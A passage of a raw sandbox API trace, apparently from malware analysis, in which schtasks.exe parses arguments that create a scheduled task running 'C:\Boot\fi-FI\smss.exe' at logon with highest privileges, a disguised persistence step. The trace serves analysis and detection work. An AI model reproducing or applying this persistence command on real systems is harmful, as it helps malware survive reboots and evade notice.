_BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|sc|") returned 4 [0074.672] lstrlenW (lpString="|run|") returned 5 [0074.672] lstrlenW (lpString="|sc|") returned 4 [0074.672] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0074.672] SetLastError (dwErrCode=0x490) [0074.672] lstrlenW (lpString="end") returned 3 [0074.672] lstrlenW (lpString="end") returned 3 [0074.672] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.672] lstrlenW (lpString="sc") returned 2 [0074.672] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.672] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|end|") returned 5 [0074.672] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|sc|") returned 4 [0074.672] lstrlenW (lpString="|end|") returned 5 [0074.672] lstrlenW (lpString="|sc|") returned 4 [0074.672] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0074.672] SetLastError (dwErrCode=0x490) [0074.672] lstrlenW (lpString="showsid") returned 7 [0074.672] lstrlenW (lpString="showsid") returned 7 [0074.672] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.672] lstrlenW (lpString="sc") returned 2 [0074.672] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.672] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|showsid|") returned 9 [0074.673] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|sc|") returned 4 [0074.673] lstrlenW (lpString="|showsid|") returned 9 [0074.673] lstrlenW (lpString="|sc|") returned 4 [0074.673] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0074.673] SetLastError (dwErrCode=0x490) [0074.673] SetLastError (dwErrCode=0x490) [0074.673] SetLastError (dwErrCode=0x0) [0074.673] lstrlenW (lpString="/sc") returned 3 [0074.673] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0074.673] SetLastError (dwErrCode=0x490) [0074.673] SetLastError (dwErrCode=0x0) [0074.673] lstrlenW (lpString="/sc") returned 3 [0074.673] GetProcessHeap () returned 0x2d0000 [0074.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ed290 [0074.673] GetProcessHeap () returned 0x2d0000 [0074.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edc50 [0074.673] SetLastError (dwErrCode=0x0) [0074.673] SetLastError (dwErrCode=0x0) [0074.673] lstrlenW (lpString="ONLOGON") returned 7 [0074.673] lstrlenW (lpString="-/") returned 2 [0074.673] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0074.673] SetLastError (dwErrCode=0x490) [0074.673] SetLastError (dwErrCode=0x490) [0074.673] SetLastError (dwErrCode=0x0) [0074.673] lstrlenW (lpString="ONLOGON") returned 7 [0074.673] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0074.673] SetLastError (dwErrCode=0x490) [0074.673] SetLastError (dwErrCode=0x0) [0074.674] lstrlenW (lpString="ONLOGON") returned 7 [0074.674] GetProcessHeap () returned 0x2d0000 [0074.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed2b0 [0074.674] GetProcessHeap () returned 0x2d0000 [0074.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edc80 [0074.674] SetLastError (dwErrCode=0x0) [0074.674] SetLastError (dwErrCode=0x0) [0074.674] lstrlenW (lpString="/tr") returned 3 [0074.674] lstrlenW (lpString="-/") returned 2 [0074.674] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.674] lstrlenW (lpString="?") returned 1 [0074.674] lstrlenW (lpString="?") returned 1 [0074.674] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.674] lstrlenW (lpString="tr") returned 2 [0074.674] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.674] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|?|") returned 3 [0074.674] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tr|") returned 4 [0074.674] lstrlenW (lpString="|?|") returned 3 [0074.674] lstrlenW (lpString="|tr|") returned 4 [0074.674] SetLastError (dwErrCode=0x490) [0074.674] lstrlenW (lpString="create") returned 6 [0074.674] lstrlenW (lpString="create") returned 6 [0074.674] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.674] lstrlenW (lpString="tr") returned 2 [0074.674] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.674] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|create|") returned 8 [0074.675] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tr|") returned 4 [0074.675] lstrlenW (lpString="|create|") returned 8 [0074.675] lstrlenW (lpString="|tr|") returned 4 [0074.675] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0074.675] SetLastError (dwErrCode=0x490) [0074.675] lstrlenW (lpString="delete") returned 6 [0074.675] lstrlenW (lpString="delete") returned 6 [0074.675] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.675] lstrlenW (lpString="tr") returned 2 [0074.675] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.675] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|delete|") returned 8 [0074.675] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tr|") returned 4 [0074.675] lstrlenW (lpString="|delete|") returned 8 [0074.675] lstrlenW (lpString="|tr|") returned 4 [0074.675] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0074.675] SetLastError (dwErrCode=0x490) [0074.675] lstrlenW (lpString="query") returned 5 [0074.675] lstrlenW (lpString="query") returned 5 [0074.675] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.675] lstrlenW (lpString="tr") returned 2 [0074.675] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.675] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|query|") returned 7 [0074.675] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tr|") returned 4 [0074.675] lstrlenW (lpString="|query|") returned 7 [0074.675] lstrlenW (lpString="|tr|") returned 4 [0074.675] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0074.675] SetLastError (dwErrCode=0x490) [0074.676] lstrlenW (lpString="change") returned 6 [0074.676] lstrlenW (lpString="change") returned 6 [0074.676] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.676] lstrlenW (lpString="tr") returned 2 [0074.676] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.676] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|change|") returned 8 [0074.676] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tr|") returned 4 [0074.676] lstrlenW (lpString="|change|") returned 8 [0074.676] lstrlenW (lpString="|tr|") returned 4 [0074.676] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0074.676] SetLastError (dwErrCode=0x490) [0074.676] lstrlenW (lpString="run") returned 3 [0074.676] lstrlenW (lpString="run") returned 3 [0074.676] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.676] lstrlenW (lpString="tr") returned 2 [0074.676] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.676] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|run|") returned 5 [0074.676] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tr|") returned 4 [0074.676] lstrlenW (lpString="|run|") returned 5 [0074.676] lstrlenW (lpString="|tr|") returned 4 [0074.676] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0074.676] SetLastError (dwErrCode=0x490) [0074.676] lstrlenW (lpString="end") returned 3 [0074.676] lstrlenW (lpString="end") returned 3 [0074.676] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.676] lstrlenW (lpString="tr") returned 2 [0074.676] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.676] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|end|") returned 5 [0074.676] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tr|") returned 4 [0074.677] lstrlenW (lpString="|end|") returned 5 [0074.677] lstrlenW (lpString="|tr|") returned 4 [0074.677] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0074.677] SetLastError (dwErrCode=0x490) [0074.677] lstrlenW (lpString="showsid") returned 7 [0074.677] lstrlenW (lpString="showsid") returned 7 [0074.677] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.677] lstrlenW (lpString="tr") returned 2 [0074.677] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.677] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|showsid|") returned 9 [0074.677] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tr|") returned 4 [0074.677] lstrlenW (lpString="|showsid|") returned 9 [0074.677] lstrlenW (lpString="|tr|") returned 4 [0074.677] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0074.677] SetLastError (dwErrCode=0x490) [0074.677] SetLastError (dwErrCode=0x490) [0074.677] SetLastError (dwErrCode=0x0) [0074.677] lstrlenW (lpString="/tr") returned 3 [0074.677] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0074.677] SetLastError (dwErrCode=0x490) [0074.677] SetLastError (dwErrCode=0x0) [0074.677] lstrlenW (lpString="/tr") returned 3 [0074.677] GetProcessHeap () returned 0x2d0000 [0074.677] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ed2d0 [0074.677] GetProcessHeap () returned 0x2d0000 [0074.677] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edcb0 [0074.677] SetLastError (dwErrCode=0x0) [0074.677] SetLastError (dwErrCode=0x0) [0074.677] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.677] lstrlenW (lpString="-/") returned 2 [0074.677] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0074.678] SetLastError (dwErrCode=0x490) [0074.678] SetLastError (dwErrCode=0x490) [0074.678] SetLastError (dwErrCode=0x0) [0074.678] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.678] StrChrIW (lpStart="'C:\\Boot\\fi-FI\\smss.exe'", wMatch=0x3a) returned=":\\Boot\\fi-FI\\smss.exe'" [0074.678] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.678] GetProcessHeap () returned 0x2d0000 [0074.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed2f0 [0074.678] _memicmp (_Buf1=0x2ed2f0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.678] GetProcessHeap () returned 0x2d0000 [0074.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed310 [0074.678] GetProcessHeap () returned 0x2d0000 [0074.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ee4e0 [0074.678] _memicmp (_Buf1=0x2ee4e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.678] GetProcessHeap () returned 0x2d0000 [0074.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x34) returned 0x2e7bb0 [0074.678] SetLastError (dwErrCode=0x7a) [0074.678] SetLastError (dwErrCode=0x0) [0074.678] SetLastError (dwErrCode=0x0) [0074.678] lstrlenW (lpString="'C") returned 2 [0074.678] lstrlenW (lpString="-/") returned 2 [0074.678] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0074.678] SetLastError (dwErrCode=0x490) [0074.678] SetLastError (dwErrCode=0x490) [0074.678] SetLastError (dwErrCode=0x0) [0074.678] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.678] GetProcessHeap () returned 0x2d0000 [0074.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x32) returned 0x2e7bf0 [0074.678] GetProcessHeap () returned 0x2d0000 [0074.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edce0 [0074.678] SetLastError (dwErrCode=0x0) [0074.678] SetLastError (dwErrCode=0x0) [0074.679] lstrlenW (lpString="/rl") returned 3 [0074.679] lstrlenW (lpString="-/") returned 2 [0074.679] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.679] lstrlenW (lpString="?") returned 1 [0074.679] lstrlenW (lpString="?") returned 1 [0074.679] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.679] lstrlenW (lpString="rl") returned 2 [0074.679] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.679] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|?|") returned 3 [0074.679] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|rl|") returned 4 [0074.679] lstrlenW (lpString="|?|") returned 3 [0074.679] lstrlenW (lpString="|rl|") returned 4 [0074.679] SetLastError (dwErrCode=0x490) [0074.679] lstrlenW (lpString="create") returned 6 [0074.679] lstrlenW (lpString="create") returned 6 [0074.679] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.679] lstrlenW (lpString="rl") returned 2 [0074.679] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.679] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|create|") returned 8 [0074.679] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|rl|") returned 4 [0074.679] lstrlenW (lpString="|create|") returned 8 [0074.679] lstrlenW (lpString="|rl|") returned 4 [0074.679] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0074.679] SetLastError (dwErrCode=0x490) [0074.679] lstrlenW (lpString="delete") returned 6 [0074.679] lstrlenW (lpString="delete") returned 6 [0074.679] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.679] lstrlenW (lpString="rl") returned 2 [0074.679] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.679] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|delete|") returned 8 [0074.679] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|rl|") returned 4 [0074.680] lstrlenW (lpString="|delete|") returned 8 [0074.680] lstrlenW (lpString="|rl|") returned 4 [0074.680] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0074.680] SetLastError (dwErrCode=0x490) [0074.680] lstrlenW (lpString="query") returned 5 [0074.680] lstrlenW (lpString="query") returned 5 [0074.680] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.680] lstrlenW (lpString="rl") returned 2 [0074.680] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.680] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|query|") returned 7 [0074.680] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|rl|") returned 4 [0074.680] lstrlenW (lpString="|query|") returned 7 [0074.680] lstrlenW (lpString="|rl|") returned 4 [0074.680] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0074.680] SetLastError (dwErrCode=0x490) [0074.680] lstrlenW (lpString="change") returned 6 [0074.680] lstrlenW (lpString="change") returned 6 [0074.680] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.680] lstrlenW (lpString="rl") returned 2 [0074.680] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.680] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|change|") returned 8 [0074.680] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|rl|") returned 4 [0074.680] lstrlenW (lpString="|change|") returned 8 [0074.680] lstrlenW (lpString="|rl|") returned 4 [0074.680] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0074.680] SetLastError (dwErrCode=0x490) [0074.680] lstrlenW (lpString="run") returned 3 [0074.680] lstrlenW (lpString="run") returned 3 [0074.680] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.681] lstrlenW (lpString="rl") returned 2 [0074.681] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.681] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|run|") returned 5 [0074.681] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|rl|") returned 4 [0074.681] lstrlenW (lpString="|run|") returned 5 [0074.681] lstrlenW (lpString="|rl|") returned 4 [0074.681] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0074.681] SetLastError (dwErrCode=0x490) [0074.681] lstrlenW (lpString="end") returned 3 [0074.681] lstrlenW (lpString="end") returned 3 [0074.681] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.681] lstrlenW (lpString="rl") returned 2 [0074.681] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.681] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|end|") returned 5 [0074.681] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|rl|") returned 4 [0074.681] lstrlenW (lpString="|end|") returned 5 [0074.681] lstrlenW (lpString="|rl|") returned 4 [0074.681] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0074.681] SetLastError (dwErrCode=0x490) [0074.681] lstrlenW (lpString="showsid") returned 7 [0074.681] lstrlenW (lpString="showsid") returned 7 [0074.681] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.681] lstrlenW (lpString="rl") returned 2 [0074.681] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.681] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|showsid|") returned 9 [0074.681] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|rl|") returned 4 [0074.681] lstrlenW (lpString="|showsid|") returned 9 [0074.681] lstrlenW (lpString="|rl|") returned 4 [0074.681] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0074.682] SetLastError (dwErrCode=0x490) [0074.682] SetLastError (dwErrCode=0x490) [0074.682] SetLastError (dwErrCode=0x0) [0074.682] lstrlenW (lpString="/rl") returned 3 [0074.682] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0074.682] SetLastError (dwErrCode=0x490) [0074.682] SetLastError (dwErrCode=0x0) [0074.682] lstrlenW (lpString="/rl") returned 3 [0074.682] GetProcessHeap () returned 0x2d0000 [0074.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2eecb0 [0074.682] GetProcessHeap () returned 0x2d0000 [0074.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edd10 [0074.682] SetLastError (dwErrCode=0x0) [0074.682] SetLastError (dwErrCode=0x0) [0074.682] lstrlenW (lpString="HIGHEST") returned 7 [0074.682] lstrlenW (lpString="-/") returned 2 [0074.682] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0074.682] SetLastError (dwErrCode=0x490) [0074.682] SetLastError (dwErrCode=0x490) [0074.682] SetLastError (dwErrCode=0x0) [0074.682] lstrlenW (lpString="HIGHEST") returned 7 [0074.682] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0074.682] SetLastError (dwErrCode=0x490) [0074.682] SetLastError (dwErrCode=0x0) [0074.682] lstrlenW (lpString="HIGHEST") returned 7 [0074.682] GetProcessHeap () returned 0x2d0000 [0074.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ee500 [0074.682] GetProcessHeap () returned 0x2d0000 [0074.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edd40 [0074.682] SetLastError (dwErrCode=0x0) [0074.682] SetLastError (dwErrCode=0x0) [0074.682] lstrlenW (lpString="/f") returned 2 [0074.682] lstrlenW (lpString="-/") returned 2 [0074.682] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.682] lstrlenW (lpString="?") returned 1 [0074.682] lstrlenW (lpString="?") returned 1 [0074.683] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.683] lstrlenW (lpString="f") returned 1 [0074.683] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.683] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|?|") returned 3 [0074.683] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|f|") returned 3 [0074.683] lstrlenW (lpString="|?|") returned 3 [0074.683] lstrlenW (lpString="|f|") returned 3 [0074.683] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0074.683] SetLastError (dwErrCode=0x490) [0074.683] lstrlenW (lpString="create") returned 6 [0074.683] lstrlenW (lpString="create") returned 6 [0074.683] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.683] lstrlenW (lpString="f") returned 1 [0074.683] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.683] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|create|") returned 8 [0074.683] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|f|") returned 3 [0074.683] lstrlenW (lpString="|create|") returned 8 [0074.683] lstrlenW (lpString="|f|") returned 3 [0074.683] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0074.683] SetLastError (dwErrCode=0x490) [0074.683] lstrlenW (lpString="delete") returned 6 [0074.683] lstrlenW (lpString="delete") returned 6 [0074.683] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.683] lstrlenW (lpString="f") returned 1 [0074.683] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.683] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|delete|") returned 8 [0074.683] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|f|") returned 3 [0074.683] lstrlenW (lpString="|delete|") returned 8 [0074.683] lstrlenW (lpString="|f|") returned 3 [0074.683] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0074.684] SetLastError (dwErrCode=0x490) [0074.684] lstrlenW (lpString="query") returned 5 [0074.684] lstrlenW (lpString="query") returned 5 [0074.684] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.684] lstrlenW (lpString="f") returned 1 [0074.684] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.684] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|query|") returned 7 [0074.684] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|f|") returned 3 [0074.684] lstrlenW (lpString="|query|") returned 7 [0074.684] lstrlenW (lpString="|f|") returned 3 [0074.684] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0074.684] SetLastError (dwErrCode=0x490) [0074.684] lstrlenW (lpString="change") returned 6 [0074.684] lstrlenW (lpString="change") returned 6 [0074.684] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.684] lstrlenW (lpString="f") returned 1 [0074.684] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.684] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|change|") returned 8 [0074.684] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|f|") returned 3 [0074.684] lstrlenW (lpString="|change|") returned 8 [0074.684] lstrlenW (lpString="|f|") returned 3 [0074.684] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0074.684] SetLastError (dwErrCode=0x490) [0074.684] lstrlenW (lpString="run") returned 3 [0074.684] lstrlenW (lpString="run") returned 3 [0074.684] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.684] lstrlenW (lpString="f") returned 1 [0074.684] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.684] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|run|") returned 5 [0074.684] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|f|") returned 3 [0074.685] lstrlenW (lpString="|run|") returned 5 [0074.685] lstrlenW (lpString="|f|") returned 3 [0074.685] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0074.685] SetLastError (dwErrCode=0x490) [0074.685] lstrlenW (lpString="end") returned 3 [0074.685] lstrlenW 